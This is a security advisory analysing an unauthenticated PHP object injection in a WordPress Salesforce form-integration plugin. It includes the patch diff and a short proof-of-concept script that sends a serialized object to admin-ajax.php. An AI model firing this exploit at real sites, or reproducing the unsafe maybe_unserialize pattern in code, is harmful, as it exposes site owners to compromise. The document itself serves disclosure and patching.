Atomic Edge analysis of CVE-2026-49109: This vulnerability affects the Integration for Salesforce and Contact Form 7, WPForms, Elementor, Formidable, Ninja Forms plugin (versions up to and including 1.4.3). The plugin fails to sanitize form field values before passing them to `maybe_unserialize()`, leading to unauthenticated PHP object injection with a CVSS score of 8.1.
Root Cause: In `cf7-salesforce/cf7-salesforce.php` at line 952, the original code calls `$value=maybe_unserialize($value)` on user-supplied form field values without any validation. The `$value` variable is populated from `$_REQUEST[$field_id]` at line 955 when not set from the `$this->post()` method. An attacker can craft a serialized PHP object payload in the form field parameter. The patch simply comments out this line, preventing the dangerous deserialization call.
Exploitation: An unauthenticated attacker sends a POST request to any form submission endpoint handled by the plugin, typically via the Contact Form 7 or other integrated form’s AJAX handler. The attacker includes an arbitrary form field parameter name (e.g., `your-name`) with a serialized PHP object string as its value. The plugin processes the submitted data and calls `maybe_unserialize()` on the raw input, triggering deserialization of the attacker-controlled payload. No authentication is required, and no nonce check is performed on this code path.
Patch Analysis: The diffs show two changes. The main security fix is the removal of the `maybe_unserialize()` call on line 952 by commenting it out. This eliminates the deserialization of untrusted input entirely. A secondary change on line 1369 of `api.php` changes the implode delimiter from `,` to `;` for array field values, which is unrelated to the security vulnerability and is a minor formatting fix.
Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary PHP objects. While the vulnerable plugin itself may not contain a useful POP chain, the presence of other plugins or themes on the target WordPress installation could provide one. If a POP chain exists, this can lead to arbitrary file deletion, remote code execution, or sensitive data retrieval. The severity is high due to the unauthenticated nature and potential for full site compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-salesforce/api/api.php
+++ b/cf7-salesforce/api/api.php
@@ -1366,7 +1366,7 @@
}
}
if(is_array($field_val)){
- $field_val=implode(', ',$field_val);
+ $field_val=implode('; ',$field_val); //REMOVED , @april-25 ; shows links for multiple files in textarea field while , does not convert to links
}
$sf_fields[$field_key]=$field_val;
}
--- a/cf7-salesforce/cf7-salesforce.php
+++ b/cf7-salesforce/cf7-salesforce.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form Salesforce
* Description: Integrates Contact Form 7 , <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with Salesforce allowing form submissions to be automatically sent to your Salesforce account
-* Version: 1.4.3
+* Version: 1.4.4
* Requires at least: 4.7
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-salesforce-plugin/
@@ -23,7 +23,7 @@
public $crm_name = "salesforce";
public $id = "vxcf_sales";
public $domain = "vxcf-sales";
- public $version = "1.4.3";
+ public $version = "1.4.4";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_sales";
@@ -949,7 +949,7 @@
$value=$value['value'];
}
if(!is_array($value)){
- $value=maybe_unserialize($value);
+ // $value=maybe_unserialize($value);
}
}else if(isset($_REQUEST[$field_id])){
$value=$this->post($field_id);
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49109 - Integration for Salesforce and Contact Form 7, WPForms, Elementor, Formidable, Ninja Forms <= 1.4.3 - Unauthenticated PHP Object Injection
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to target URL
// The vulnerable plugin processes form submissions via WordPress AJAX.
// The action parameter is typically 'vxcf_sales' but may vary.
// The attacker sends a serialized PHP object in a form field parameter.
// Example serialized object: O:1:"A":0:{}
$payload = 'O:1:"A":0:{}';
$post_data = array(
'action' => 'vxcf_sales', // AJAX action hook name
'your-name' => $payload, // Arbitrary field name, triggered by maybe_unserialize
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
